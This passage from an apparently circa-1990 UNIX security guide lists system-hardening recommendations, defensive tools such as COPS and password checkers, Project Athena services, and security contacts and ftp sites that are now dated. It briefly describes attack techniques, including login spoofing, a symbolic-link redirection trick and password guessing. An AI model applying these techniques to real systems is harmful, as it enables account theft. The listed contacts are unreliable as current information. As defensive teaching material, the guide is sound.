super-user. + (Note, however, that the encryption program supplied with the system is + not very secure. In fact there are now tools widely distributed that + will break this encryption with a few minutes of work). + + 7. Staff should, at odd hours, scan the system for signs of strange + activity, or for files that don't look quite right. It is helpful to + have seperate login names for this purpose, so it isn't so obvious when + it is being done. + + 8. Periodically compare binary files of setuid-root programs with known + good copies stored off line. Same for other sensitive programs (those + run by `cron' or `init'). Or compute checksums on binaries, + save them somewhere, and periodically recalculate and compare with + stored values. + + 9. It may be useful to set up uids for particular purposes and use programs + that are setuid something other than root. This technique reduces the + number of programs that have to be setuid root, but unless carefully + applied it can decrease security by making too many uids sensitive. It + seems wise to have an owner other than root for all files that have to + be writable by everybody, as a file owned by root and writable by + someone else is always a potential burglar tool. Use setgid rather than + setuid if possible, since it is more restrictive. + + 10. It is important to keep source of the operating system and commands + unreadable by ordinary users. Having source available makes it easier + for the intruder to prepare trap doors or discover already existing + holes. It is nice if source can be kept on a physically dismountable + file system to be mounted only when it is being used. Second best is a + file system that can be write locked with a switch when the staff is not + using it. NFS provides such a capability. + + 11. Staff with super-user privileges must be trained never to run a + user-preferred program while running as super-user. + + 12. Keeping dot out of the super user command search path helps prevent + inadvertent running of user programs while super-user. This must extend + to users who have `su'-ed to root from their own accounts. + + 13. Periodically scan the directories for names containing unprintable + characters and other oddities. These are often a sign of mischief. + Likewise, files in a user directory not owned by that user. + + 14. Develop a procedure (shell script or program) which automatically runs + the whole gamut of security auditing and correcting operations. This + should be run at odd hours, and preferably should suppress listing what + it is doing in a `ps' listing. + + 15. Have a policy on what to do with intruders when caught. My feeling is + that penalties should be based on damages rather than on accomplishment; + e.g. the person who breaks into the system and does no damage and tells + us how he did it gets a reward, while the person who steals or destroys + another's work or makes the system inoperative gets punished. Milder + punishment for one who doesn't do any damage but doesn't report finding + a hole in the system. Others disagree strongly with this proposal, and + insist that for reason of professional integrity all illegitimate uses + of the system should be punished, regardless of actual damages or lack + thereof. New laws make any kind of penetration a criminal act; but, + there is a lot to be learned about how to get evidence in these cases. + + 16. Change the default user mask to 077. Then a user has to act, and thus + hopefully think, before moving into a more dangerous domain. Naive + users then have to learn how to reduce security rather than how to + increase it. + + 17. Change the default mode for users' terminals to 0600 at login time. + Keep it at 0600 always when the terminal is not logged in. This is to + guard against spoofers who open a terminal from a program that simulates + the login program and catches passwords. It also guards against someone + other than the owner changing modes and similar unkind things. + + 18. Modify the kernel to prevent creation of core files when the user is + running setuid or setgid. When core files are created they should be + mode 600. + + 19. Modify the kernel so that users can't link to files they can't read. + Such linking is not inherently unsecure, since the user can't do + anything with a file he has linked to, but it is clearly unnecessary and + makes it easier for the user to get away with something by other + techniques. Unfortunately this does not work for symbolic links. A + user can create any desired directory structure within his own home + directory, make a symbolic link of the form `../../../foo/bar' + within that structure, and then `mv' the symbolic link so that it + points to some other file elsewhere in the system. + + 20. Modify `atrun' so it won't run a file submitted by root. This is + to forestall all the devious ways of getting a user file owned by root + into the `at' spool directory. This is no real inconvenience in + running the system, since `cron' can always be used for privileged + operations at later hours. + + 21. Modify the kernel to provide a group having no privileges. Make this + the login group for root and staff members, so that by default we don't + create programs with group privileges. This will be the default group + for all sensitive programs and files. + + 22. Consider making operator functions directly executed at login, rather + than having an account for the operators. The reason for this is that + the operator password rarely changes and has to be widely known. + + 23. Designate a person to receive reports of penetration attempts and keep + them filed. + + 24. Develop a program to check object files for system calls that are + reserved for the super user. This is a quick way to check whether an + object file contains a trap door, without having to compare it with a + known good object. This will produce a certain amount of unwanted + output but we should soon learn what to ignore. + + 25. Modify the kernel so that setuid-root programs are executable only if + they reside on rootdev. This cuts down greatly the amount of territory + that needs to be scanned for burglar tools. (Scanning should still be + done occasionally over the whole system to discover users who possess + burglar tools, even though they are ineffective.) If a separate disk + spindle or partition is available for `/tmp' then nothing on the + root device is writable by an ordinary user, making it all the harder + for one to get a privileged program of his own. Sun has gone further in + making `nosetuid' an option for all mountable file systems. + + 26. Modify the kernel so that special files can be opened only if the inode + resides on rootdev. This make ineffective any special file inodes in + user accounts where they shouldn't be. + + 27. Log on console whenever a file is owned by root and gets its setuid bit + turned on. (On 4.xBSD VMUNIX also sends the message to the user with + uprintf(). This is done so the super user will be warned if he does + some command which has a side effect of doing setuid-root for somebody.) + + 28. In writing programs that must run privileged, it is a good practice to do + all the privileged actions first and then drop privileges as soon as + possible. This makes it easier to examine the program to see that it + does in fact handle it privileges with discretion. + + 29. Modify `mail' so that it does not `chown' a file that has more + than one link. Also make the `/usr/spool/mail' directory + unwritable by ordinary users, and have the `mail' program truncate + `/usr/spool/mail/name' files to zero length when it is unable to + remove them for this reason. + + 30. Modify `write', `mail', etc. programs so they cannot transmit + non-printing characters to the recipient. This is to foil those that + change terminal modes mischievously or send commands to block mode + terminals. + + 31. Disallow non-super users from setting the setuid bit on files. For the + few legitimate needs for this setting the user can apply to the system + manager to have the bit set. This foils the Trojan horse in a program + proffered by one user to another which has the side effect of creating a + setuid shell owned by the victim. At the University of California at + Santa Cruz, this was made a compile-time option of the kernel, so that + it can be turned on or off for the various kinds of users/machines + there. + + 32. Programs in general should be executable only, not readable and + executable. Prevent users from getting private copies of programs, from + reading programs for possibly-confidential filenames, etc. Stripping + symbol tables from commands is also a good idea, both to save disk space + and to make it harder for the user to pick at them. + + 33. The system administrator should periodically run the best available + password guessing program and warn users whose passwords are guessed. + + 34. Modify `write' to accept input only from a tty. This will keep + users from redirecting humongous files, such as `/usr/dict/words' + to a users terminal. + + 35. 4.3BSD offers some alternative ideas on terminal protection. All + terminals have group ownership of the tty group, which is used for no + other purpose. Then to allow writing to his terminal, the user makes it + writable to the group. The `write' programs run setgid tty and can + open the terminal for writing if group write permission is set. This + seems safe, since only ttys are in the special group; the user can't + create a file owned by himself and group-owned by the tty group. + + Similarly, there are other special groups for very restricted purposes. + Disk special files are group owned and readable by an operator group, + which allows operators to do file backups. Only the dump program uses + this group; and it is executable only by members of the group. + + 36. Modify the `login' program to make it harder for spoofers by + reading a file `.secret' from the user's home directory to get a + string to use in prompting for password. The `login' program, + being privileged, is able to read this file; the spoofer is not, and is + not likely to keep a list of login names and secret prompts to search + when someone runs his program. Associated with this is another change + to `login' program such that on the third unsuccessful login + attempt the program sleeps for twenty seconds and exits. This is to + make it more time-consuming for a potential spoofer writer to try + logging in to every account to compile a list of secret prompts. While + this doesn't provide real authentication it does help. Users would + probably like the idea because their private password prompts can be + cute. This has been implemented at UCSC. + + Someone has suggested that this might be foiled by a spoofer that gets + the login name, opens a pseudo tty, tries to login on that pseudo with + the login name, gets the personal password prompt that way, gives it + to the user and collects the password. + + A note from Jim Haynes from UCSC: + Perhaps as a result of the `.secret' files, we have seen a + lot less spoofing lately and a lot more of password guessing + using modern high-performance guessers. These tend to avoid + detection by being run on the intruder's personal computer + or some other computer on a network. Otherwise we examine + long-running programs to see if they are password guessers. + (Use gcore and strings on the core image) One way to foil + these is the use of "shadow" password files, in which the + encrypted passwords are not visible to the non-privileged + users. Shadow password files are no help if the attacker is + after a particular account and its password is well-chosen; + but if he will settle for any account on the machine, then + he is likely to find a few if he can get the encrypted + passwords. + + +Software Tools +============== +Because security is of great concern to many sites, a wealth of software +has been developed for improving the security of UNIX systems. Much of +this software has been developed at universities and other public +institutions, and is available free for the asking. + + +COPS +---- +COPS is a collection of about a dozen programs that each attempt to tackle +a different problem area of UNIX security. Among the areas checked are +file, directory, and device permissions/modes, passwords, contents of +password and group files, the contents of `/etc/rc' and `cron' files, +changes in SUID status, the writability of users home directories and +startup files as well. It also includes the Kuang expert system, written +by Bob Baldwin, that takes a set of rules and tries to determine if your +system can be compromised. For a more complete list of all of the checks, +look at the file `release.notes' or `cops.report' in the COPS distribution. + +All of the programs merely warn the user of a potential problem -- COPS +DOES NOT ATTEMPT TO CORRECT OR EXPLOIT ANY OF THE POTENTIAL PROBLEMS IT +FINDS! COPS either mails or creates a file (user selectable) of any of the +problems it finds while running on your system. And because COPS does not +correct potential hazards it finds, it does not have to be run by a +privileged account (i.e. root or whomever.) The only security check that +should be run by root to get maximum results is the SUID checker; although +it can be run as an unprivileged user, to find all the SUID files in a +system, it should be run as root. + +UPDATE: The latest release of COPS is Version 1.02 and is currently being + rewritten in PERL to increase the overall speed of the package. + COPS is PERL is slated for release in April 1991. + + +DES Zip +------- +The `Fast Encryption Package' written by Matt Bishop is a package designed +to help a site improve password security. These tools and their associated +library enable a site to force users to pick reasonably safe passwords and +enable site management to try to crack existing passwords. The library +contains various versions of a very fast implementation of the Data +Encryption Standard and of the one-way encryption function used to encrypt +UNIX passwords. + + +Passwd +...... + +This version of `passwd' tests passwords to ensure that they conform to +your site's requirements for a secure password. These requirements are +defined within a configuration file that can be easily modified as your +site's requirements change. It will also allow knowledgable users to +change their default shell to one that the system accepts as legitimate, as +defined by `/etc/shells'. GECOS information can also be updated to help +insure correctness. + + +Password Cracker +................ + +A password cracker is also provided to allow administrators check the +password file to insure poorly chosen passwords were not used. If the +`password' program distributed with the DES zip package is used and a +decent configuration file is written, this will reduce the number of +passwords found on your system. Some of the options available on the +password cracker are: + + * Use of word lists such as `/usr/dict/words' + * Checkpointing + * Check login names forwards and backwards + * Check GECOS field information + * Automatically report and mail nasty-grams to offenders + + +Npasswd +------- +The `npasswd' command, developed by Clyde Hoover at the University of Texas +at Austin, is intended to be a replacement for the standard UNIX `passwd' +command, as well as the Sun `yppasswd' command. `Npasswd' makes passwords +more secure by refusing to allow users to select insecure passwords. + + +Project Athena +-------------- +Here is a note by Dr. Daniel E. Geer, Jr. about Project Athena at M.I.T. I +have slightly changed the format to make it more useful for this paper. +There are certainly more features than the ones detailed below, but the +gathering of this information is left to the interested reader. + +This is an overview of the Athena model of (distributed) computation and a +brief, annotated list of the Athena modules, per se. As with any complete +system in actual use, a prose summary will fail to mention a goodly number +of minor applications. Following this discussion, please refer to the +Project Athena Technical Plan for the most complete treatment now +available. We also enclose a customer service level description of the +Athena environment, written for the benefit of MIT faculty. The model of +computation of the Athena environment is that of network services. We view +the workstation as a user agent, a dataless node able to access a range of +services from the network using protocols specific to the task at hand +and/or remote procedure calls. Workstations are a commodity in our +environment, and inherit their run-time characteristics from the service +environment in which they reside as amended by user preference. +Configuration is centrally managed, but locally modifiable. For our core +hardware base, coherence of the application programming interface is +provided. Outside that core, coherence of the network service layer is +provided. The ability to scale up to large installations (order ten +thousand hosts) is purposeful, maintained by design strategies ensuring +that normal operation contains no cost components linear with either the +number of hosts or the number of user or service entities in that +environment. The system is in full production and in daily use on +approximately one thousand workstations and servers. The system currently +runs on BSD Unix and Ultrix on hardware platforms consisting of the IBM +PC/RT and Digital VAXstations and DECstations. It is written entirely in C +and can easily be ported to other hardware environments. + + +The X Window System, applications, & libraries +.............................................. + +X is a network transparent, device independent, vendor neutral window +system. Defined by its protocol, it supports full featured use of all +points addressable displays, including, but not limited to, drawing text +and graphics, full motion video, color and monochrome, and has abstraction +layers suitable for construction of highly portable applications. + + +Hesiod nameservice, applications, & libraries +............................................. + +The Hesiod nameservice is an application programming interface layer over a +standard substrate, viz. the Berkeley InterNet Domain (BIND) nameservice. +It provides a standardized way to expand partial resolution requests, and +represents a simple abstraction layer for applications to provide location +independence in a network services environment. It provides similar +functionality to the Sun's Yellow Pages, but with differnet tradeoffs. +Hesiod is more secure, scales up to larger communities, and does not make +excessive use of broadcast packets, but is somewhat more difficult to setup +and maintain. + + +Kerberos authentication service, applications, & libraries +.......................................................... + +Kerberos is a network communications security support system, providing +authentication for an open network environment. Modelled on the Needham & +Schroeder trusted third party protocol, it provides provable authentication +of claimed identities in the presence of untrusted hosts and untrusted +nets. It provides the application writer with a simple library for network +authentication while it offers a sophisticated administration model to the +wide area systems manager. + +Kerbersos version 4 is currently in daily use at MIT and other institutions +worldwide. It uses the Data Encryption Standard for the encryption. +Version 5 is being implemented, and will provide more features such as the +ability to substitute other encryption systems and cleans up some problems +with the version 4 code. Kerberos Version 5 may be proposed as an Internet +Elective Standard through the RFC process. + + +Zephyr notification service, applications, & libraries +...................................................... + +Zephyr is a wide area, multicast, subscription based messaging system. It +supports arbitrary typecasting on messages, thereby permitting Zephyr to be +used as a common carrier to messages of whatever type yet without central +registration of those types. The practical applications of this system +include operational control as well as rendevous applications such as OLC +(vide infra). + + +Moira service management system, applications, & libraries +.......................................................... + +The Moira system permits aggregation of all the control information +required to operate the campus into a single, tightly controlled and +pangyric database. It contains a database interface server, a number of +client programs, a data control manager, and various update listeners that +run on a wide variety of servers as required. The particular database +technology is concealed behind an abstraction layer. The availability of +the Kerberos authentication system, the Hesiod nameservice, and the Ingres +database system are prerequisites for the operation of Moira. + + +OLC system, applications, & libraries +..................................... + +The On-Line Consulting (OLC) system is a rendevous mechanism, connecting an +individual with a question to another individual with the answer. Intended +for the naive user, OLC permits a bootstrap operation for nearly any type +of use difficulty in the Athena environment. The server side of OLC also +provides a stock answer browser and management and q.a. related logging of +transactions. The availability of the Kerberos authentication system, the +Hesiod nameservice, and the Zephyr notification system are prerequisites +for the operation of OLC. + + +RVD diskblock service and associated kernel modifications +......................................................... + +Remote fileservice is a requirement for even small batches of workstation +hosts. The filesystem, if readonly, can be managed using the cpu +horsepower of either end of the connection as indicated by a load +management policy. In the case of Athena, it is important to have the +client to server ratio be at a maximum, and so it is indicated to make the +client end of the fileservice connection do the filesystem traversal +operation. In short, a block server is the indicated strategy, and the +Remote Virtual Disk (RVD) system is an exemplar answer to this design +point. RVD is an MIT LCS product heavily modified by Athena. It is highly +unlikely to become a commercial product. + + +GMS global message system +......................... + +The traditional Unix login-time announcement mechanism of displaying the +contents of the file /etc/motd is not maintainable in a wide area +workstation environment. In addition, the contents of that file may change +on a schedule dynamically different from that of the rest of the software +suite, necessitating maintenance and writeability constraints on the whole +software suite unsuitable on behalf of that one file. Instead, the Athena +environment includes a global message service (GMS) that permits the +retrieval of the message of the day from a server, comparison of the +message retrieved with messages already viewed by the user, and display of +the relevant or the explicitly requested message. In this way, the GMS +facility is a mix of the functionality provided by the /etc/motd and mesg +mechanisms. substantially revised version of the T shell (tcsh) The basic +shell known as the C shell (csh) is the user interface of default or +choice, depending on opinion, in the BSD environment. Athena has made +moderately extensive changes to the command line operation of the C shell +mimicing a Tenex shell known as the T shell. These changes are made to a +product owned only by UCB, not AT&T, and can be distributed in difference +form if required. All the Athena user community uses this modified shell, +as do many persons outside that community. + + +Discuss conferencing system, applications, & libraries +...................................................... + +Discuss is a multi-user, location transparent, server arbitrary +conferencing system modelled on the old Multics forum system. A +button-and-mouse interface also exists, but is inherently inferior as it +cannot catch the full flexibility of the command line interface. +Configured by individual systems managers, a user need not know the +location of the service. The supported user interface is the lowest common +denominator, purely a command line interface, but a button and mouse +interface is in preparation. + + +Palladium print services system, applications, and libraries +............................................................ + +The Palladium print services system is an implementation of the standard +for print systems as proposed to ISO by ECMA. It is a complete and modern +print system, in the distributed services paradigm. It supports arbitrary +connection trees between logical and physical print queues, printing local +to the workstation, filtration of print streams including redirection of +print jobs on the basis of filter output, accounting, remote management of +both print services and individual print jobs, and an RPC interface that is +vendor neutral, device independent, and consistent across both print +servers and supervisors. + + +On-Line Help (OLH) +.................. + +The OLH system is a complete access to help services for the distributed +computing environment. It includes both character and display oriented +user interfaces, and references both static (text) and interactive help +services (such as OLC, vide supra). Its user interface is, of course, +transparently easy to use. Providers of services can attach their help +system to the global OLH dynamically, such as at the time of the initial +service connection, without any requirement of central administrative +overhead. + + +Where to go for Fixes +===================== +Several sites on the internet maintain large repositories of publically +available and freely distributable software, and make this material +available for anonymous ftp. It is best to attempt to obtain the software +locally if at all possible. For general information locally, you can +contact via E-mail security@hq.af.mil. + + +Sun Microsystems +---------------- +Sun Microsystems has contracted with UUNET Communications Services, Inc. +to make fixes available via anonymous ftp. You can access these fixes by +using the `ftp' command to connect to the host ftp.uu.net. The fixes are +located in the directory `sun-fixes'. + + +Berkeley Software Distribution +------------------------------ +The University of California at Berkeley also makes fixes available via +anonymous `ftp'; these fixes pertain primarily to the current release of +"BSD UNIX" (currently release 4.3). However, even if you are not running +their software, these fixes are still important, since many vendors (Sun, +DEC, Sequent, etc.) base their software on the Berkeley releases. The +Berkeley fixes are available for anonymous `ftp' from the host +ucbarpa.berkeley.edu in the directory `4.3/ucb-fixes'. The file `INDEX' in +this directory describes what each file contains. Berkeley also +distributes new versions of `sendmail' and `named' from this machine. + +Simtel-20 and UUNET +------------------- +The two largest general-purpose software repositories on the Internet are +the hosts wsmr-simtel20.army.mil and ftp.uu.net. wsmr-simtel20.army.mil is +a TOPS -20 machine operated by the U. S. Army at White Sands Missile +Range, New Mexico. The directory `pd2:' contains a large amount of +UNIX software, primarily taken from the `comp.sources' newsgroups. + +Ftp.uu.net is operated by UUNET Communications Services, Inc. in Falls +Church, Virginia. This company sells Internet and USENET access to sites +all over the country (and internationally). The software posted to the +following USENET source newsgroups is stored here, in directories of the +same name: + + comp.sources.games + comp.sources.misc + comp.sources.sun + comp.sources.unix + comp.sources.x + +Numerous other distributions, such as all the freely distributable Berkeley +UNIX source code, Internet Request for Comments (RFCs), and so on are also +stored on this machine. + +Vendors +------- +Many vendors make fixes for bugs in their software available +electronically, either via mailing lists or via anonymous `ftp'. You +should contact your vendor to find out if they offer this service, and if +so, how to access it. + +Who to ask for Help +=================== +One of the most difficult things about keeping a system secure is finding +out about the security holes before an intruder. To combat this, there are +several sources of information you can and should make use of on a regular +basis. + +security@hq.af.mil +------------------ +This mailing alias on the host hq.af.mil receives and distributes security +related information to the local security weenies. If there are any +security related questions about HQ USAF-LAN hosts, this is a good place to +start. + + +The Computer Emergency Response Team +------------------------------------ +The Computer Emergency Response Team (CERT) was established in December +1988 by the Defense Advanced Research Projects Agency to address computer +security concerns of research users of the Internet. It is operated by the +Software Engineering Institute at Carnegie-Mellon University. The CERT +serves as a focal point for the reporting of security violations, and the +dissemination of security advisories to the Internet community. In +addition, the team works with vendors of various systems in order to +coordinate the fixes for security problems. + +The CERT sends out security advisories to the cert-advisory mailing list +whenever appropriate. They also operate a 24-hour hotline that can be +called to report security problems (e.g., someone breaking into your +system), as well as to obtain current (and accurate) information about +rumored security problems. + +To join the cert-advisory mailing list, send a message to +security@hq.af.mil requesting to be added. HQ receives the mailings +directly from CERT and distributes it locally to cut down on internet +traffic. Past advisories are available for anonymous `ftp' from the host +cert.sei.cmu.edu. The 24-hour hotline number is (412) 268-7090. + + +DDN Management Bulletins +------------------------ +The "DDN Management Bulletin" is distributed electronically by the Defense +Data Network (DDN) Network Information Center under contract to the Defense +Communications Agency. It is a means of communicating official policy, +procedures, and other information of concern to management personnel at DDN +facilities. + +The "DDN Security Bulletin" is distributed electronically by the "DDN SCC" +(Security Coordination Center), also under contract to DCA, as a means of +communicating information on network and host security exposures, fixes, +and concerns to security and management personnel at DDN facilities. + +Anyone may join the mailing lists for these two bulletins by sending a +message to nic@nic.ddn.mil and asking to be placed on the mailing lists. + + +Mailing Lists +------------- +There are several other mailing lists operating on the Internet that +pertain directly or indirectly to various security issues. + + +Security +........ + +The unix security mailing list is a by invitation only mailing list and +contains sensitive material which SHOULD NOT BE REVEALED to non-members. +It exists to notify system administrators of security problems before they +become common knowledge. For more information about this list contact +security@hq.af.mil. + + +RISKS +..... + +The RISKS digest is a component of the ACM Committee on Computers and +Public Policy, moderated by Peter G. Neumann. It is a discussion forum on +risks to the public in computers and related systems, and along with +discussing computer security and privacy issues, has discussed such +subjects as the Stark incident, the shooting down of the Iranian airliner +in the Persian Gulf (as it relates to the computerized weapons systems), +problems in air and railroad traffic control systems, software engineering, +and so on. To join the mailing list, send a message to +risks-request@csl.sri.com. This list is also available in the USENET +newsgroup comp.risks. + + +VIRUS-L +....... + +The VIRUS-L list is a forum for the discussion of computer virus +experiences, protection software, and related topics. The list is open to +the public, and is implemented as a mail reflector, not a digest. Most of +the information is related to personal computers, although some of it may +be applicable to larger systems. To subscribe, send the line + + SUB VIRUS-L your full name + +to the address listserv%lehiibm1.bitnet@mitvma.mit.edu. + + +Sun-{Spots, Nets, Managers} +........................... + +The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all discussion groups +for users and administrators of systems supplied by Sun Microsystems. +SUN-SPOTS is a fairly general list, discussing everything from hardware +configurations to simple UNIX questions. To subscribe, send a message to +sun-spots-request@rice.edu. This list is also available in the USENET +newsgroup comp.sys.sun. For those that use Sun-386i machines, there is a +mailing list dedicated to that platform. It is a "spin-off" of SUN-SPOTS. +Send mail to mail-list-mgr@hq.af.mil for more information. + +SUN-NETS is a discussion list for items pertaining to networking on Sun +systems. Much of the discussion is related to NFS, Yellow Pages, and name +servers. To subscribe, send a message to sun-nets-request@umiacs.umd.edu. +We (at hq.af.mil) receive this list locally and would be more than happy to +redistribute it. Just send mail to mail-list-mgr@hq.af.mil. It is also +gatewayed to a local USENET news group usaf.sysadmin.sun-nets for your +reading convenience. + +SUN-MANAGERS is a discussion list for Sun system administrators and covers +all aspects of Sun system administration. To subscribe, send a message to +sun-managers-request@eecs.nwu.edu. Again, hq.af.mil receives this list +locally and is willing to redistribute it. It, too, is gatewayed into a +local newsgroup usaf.sysadmin.sun-managers. + + +USENET +------ +Many UNIX users are not aware that they have virtually free access to +USENET, a sort of super bulletin board on which an estimated 150,000 UNIX +users at 5,000 sites exchange news and views on over 250 different topics. +USENET is by far one of the greatest network resources available. It is a +significant resource for the professional, social, and recreational needs +of UNIX (computer) users. It is easy to use and rewards its users often. + +Hq.af.mil currently receives a "full feed" of USENET newsgroups and +supports nntp. Our feed includes: + + comp.computer systems and technology + news.discussions of USENET itself + rec.recreation activities (the arts, entertainment, ...) + sci.science and technology + soc.society and culture, social issues, ... + misc.topics that don't fit under one of the top 5 broad areas + such as items for sale, jobs, legal issues, ... + talk.Free-wheeling, often heated discussions on philosophy, + politics, religion, and so on + gnu.Information about the Free Software Foundation and it's + work. + +There are literally thousands of newsgroups that allow you to draw +information from them. It is certainly worth the time to check out. Of +course there are newsgroups that are certainly going to interesting to +everyone, I certainly don't read comp.lang.intercal, but for those +interested, it is available. There is a newsgroup for everyone. + +We have also implemented several local newsgroups: + + usaf.7cgItems of interest for 7CG personnel + usaf.osdItems of interest for OSD personnel + usaf.general.miscMisc. items of interest + usaf.general.newuserPlace for new users to ask questions + usaf.sysadmin.bindBerkeley BIND mailing list + usaf.sysadmin.pem-devPEM-DEV (Private E-Mail) mailing list + usaf.sysadmin.snmpSNMP mailing list + usaf.sysadmin.sun-managersSun Managers + usaf.sysadmin.sun-netsSun Nets + ... + +Local newsgroups can be added for the interests of anyone. One that might +be useful is usaf.sysadmin.office-power. A newsgroup for emergency +postings could be called usaf.emergency. The potential uses are endless. +For information regarding access to hq's USENET feed send mail to +news@hq.af.mil. + + +Where to go for Tools +===================== +The internet is a big place. It is certainly easy to get lost amongst all +of the sub-networks and hosts out there and to find that certain little +piece of software that you heard about from a friend that saw it in a +posting on USENET which was actually a note from a guy at Podunk.edu which +only rumored of it's existence. Well, there really is hope. There are +some major sites worth checking first based on what you are looking for: + ++=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ +Site Name I.P. Address Description ++=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ +aeneas.mit.edu 18.71.0.38 GNU emacs, kerberos, Athena +ajpo.sei.cmu.edu 128.237.2.253 all the ADA you could ask for +anise.acc.com 129.192.64.22 Berkeley utils ported to A/UX +arthur.cs.purdue.edu 128.10.2.1 RCS, buildtex, deTeX, mac +dftsrv.gsfc.nasa.gov 128.183.10.134 VMS stuff +emsworth.andrew.cmu.edu 128.2.30.62 Andrew Toolkit +expo.lcs.mit.edu 18.30.0.212 X, portable bitmaps, CLX and CLUE +jpl-devvax.jpl.nasa.gov 128.149.1.143 perl, patch, warp +labrea.stanford.edu 36.8.0.47 GNU, X, official TeX sources +lll-lcc.llnl.gov 128.115.1.2 Sun Local Users Group arch. +merlin.cs.purdue.edu 128.10.2.3 ConcurrenC, Xinu, mac, GIF +nic.ddn.mil 10.0.0.51 netinfo, RFCs, IEN, IETF +nisc.nyser.net 192.33.4.10 GNU Emacs, GOSIP, Nysernet, IETF +postgres.berkeley.edu 128.32.149.1 University INGRES +pyrite.rutgers.edu 128.6.4.15 Security mailing list archives +titan.rice.edu 128.42.1.30 sun-spots, Lots of Sun source +tut.cis.ohio-state.edu 128.146.8.60 GNU, tcsh, Elisp, ... +uunet.uu.net 192.48.96.2 usenet archives, much more +vgr.brl.mil 192.5.23.6 info-iris, brl-cad, bump, ttcp + +Eventually, under the Help and Utilities category of Network User Services +(NUS), there will be a large list of internet ftp sites for easy perusal. + + +Reporting Problems +================== +If you find a security violation on your system, contact your local +security officer immediately. There should be no delay. They will be able +to inform you of any necessary action to take. + + + +Conclusions +*********** + + "The cure shouldn't be worse than the disease." + -- Chuck Cole + +It's simple. They know who you are, they know where you live, and they +even know how to get in, but only when you leave the door open. Security +is becoming an important issue. You need to start recognizing which doors +are open and how to close them. It is too important to put it off until +tomorrow. + +You have read about theoretical ways intruders can penetrate your system +and how they are attacking your networks, accounts and filesystems. Most +importantly, you have learned how to monitor your system and how to fix +most of the current holes. There is nothing else I can say -- it is time +to start doing. + + +Suggested Reading +***************** +UNIX System Administration Handbook +Evi Nemeth, Garth Snyder, Scott Seebass +Prentice Hall, 1989 -- $32.95 +ISBN: 0-13-933441-6 + This is perhaps the best general-purpose book on UNIX system + administration currently on the market. It covers Berkeley UNIX, SunOS, + and System V. The 26 chapters and 17 appendices cover numerous topics, + including booting and shutting down the system, the file system, + configuring the kernel, adding a disk, the line printer spooling system, + Berkeley networking, `sendmail', and `uucp'. Of particular + interest are the chapters on running as the super-user, backups, and + security. + +UNIX Operating System Security' +F. T. Grammp and R. H. Morris +AT&T Bell Laboratories Technical Journal +October 1984 + This is an excellent discussion of some of the more common security + problems in UNIX and how to avoid them, written by two of Bell Labs' + most prominent security experts. + +Password Security: A Case History +Robert Morris and Ken Thompson +Communications of the ACM +November 1979 + An excellent discussion on the problem of password security, + and some interesting information on how easy it is to crack + passwords and why. This document is usually reprinted in most vendors' + UNIX documentation. + +On the Security of UNIX +Dennis M. Ritchie +May 1975 + A discussion on UNIX security from one of the original creators of the + system. This document is usually reprinted in most vendors' UNIX + documentation. + +The Cuckoo's Egg +Clifford Stoll +Doubleday, 1989 -- $19.95 + An excellent story of Stoll's experiences tracking down the German + crackers who were breaking into his systems and selling the data they + found to the KGB. Written at a level that nontechnical users can + easily understand. + +System and Network Administration +Sun Microsystems +May, 1988 + Part of the SunOS documentation, this manual covers most aspects of Sun + system administration, including security issues. A must for anyone + operating a Sun system, and a pretty good reference for other UNIX + systems as well. + +Security Problems in the TCP/IP Protocol Suite +S. M. Bellovin +ACM Computer Communications Review +April, 1989 + An interesting discussion of some of the security problems with the + protocols in use on the Internet and elsewhere. Most of these problems + are far beyond the capabilities of the average cracker, but it is still + important to be aware of them. This article is technical in nature, and + assumes familiarity with the protocols. + +A Weakness in the 4.2 BSD UNIX TCP/IP Software +Robert T. Morris +AT&T Bell Labs Computer Science Technical Report 117 +February, 1985 + An interesting article from the author of the Internet worm, which + describes a method that allows remote hosts to "spoof" a host into + believing they are trusted. Again, this article is technical in nature, + and assumes familiarity with the protocols. + +Computer Viruses and Related Threats: A Management Guide +John P. Wack and Lisa J. Carnahan +National Institute of Standards and Technology +Special Publication 500-166 + This document provides a good introduction to viruses, worms, trojan + horses, and so on, and explains how they work and how they are used to + attack computer systems. Written for the nontechnical user, this is a + good starting point for learning about these security problems. This + document can be ordered for $2.50 from the U. S. Government Printing + Office, document number 003-003-02955-6. + +The Design and Implementation of the 4.3BSD Unix Operating System +Sam Leffler, Kirk McKusick, Mike Karels, and John Quarterman +Addison-Wesley, 1989 -- $39.00 +ISBN: 0-201-06196-1 + This book is the first authoritative description of the design and + implementation of the research version of the UNIX System developed + at the University of California at Berkeley. It covers the INTERNAL + structure of the 4.3BSD system and the concepts, data structures, and + algorithms used in implementing the system facilities. The book also + includes a chaper on the implementation of TCP/IP -- a networking + protocol suite widely implemented throughout the world. + + Both philosophical and design issues of 4.3BSD are discussed, as well + as details of the actual implementation. In most cases, the + discussion starts at the system-call level and descends from the + interface to the kernel down to the hardware itself. The kernel + includes system facilities such as process management, memory + management, the I/O system, the filesystem, the socket IPC mechanism, + and network-protocol implementations. + + The Design and Implemenation of the 4.3BSD UNIX Operating System is an + in-depth study of a contemporary operating system. This book assumes + that the reader understands basic operating-system terminology and has + some familiarity with any version of the UNIX System and with the C + programming language. Therefore, this book is suitable for + operating-system implementors, systems programmers, and UNIX + application developers. + +UNIX System Security +Patrick Wood and Stephen Kochan +Hayden Book Company, 1985 -- $34.94 +ISBN: 0-8104-6267-2 + Here is a practical guide to computer security on the UNIX system for + the user, administrator, or potential UNIX system buyer. It will + teach you everything you need to know to make your system secure and + keep it that way. + +Life With UNIX +Don Libes and Sandy Ressler +Prentice-Hall, 1989 -- $30.95 + This book is quite unusual, not only because of its scope, but because + it prints things that have never appeared in print (for one reason or + another) - things that most people don't realize or find until years + after they have used UNIX. It is essentially a "reading between the + lines" of all the other UNIX manuals, books and magazines. Lastly, + "Life With UNIX" is chock full of amusing UNIX stories and anecdotes, + all designed to provide you with key insights into why UNIX is the way + it is. "Life with UNIX" is a must book for UNIX beginners to UNIX + gurus. + + + +References +********** +[Curr90] + Curry, David A. `Improving the Security of Your UNIX System'. + SRI International. April 1990. +[Elli90] + Elliot, Lawrence. "Hunt for the Hacker spy" `Reader's Digest', + April 1990, pp 185-232. +[Eich89] + Eichin, Mark W., and Jon A. Rochlis. `With Microscope and + Tweezers: An Analysis of the Internet Virus of November 1988'. + 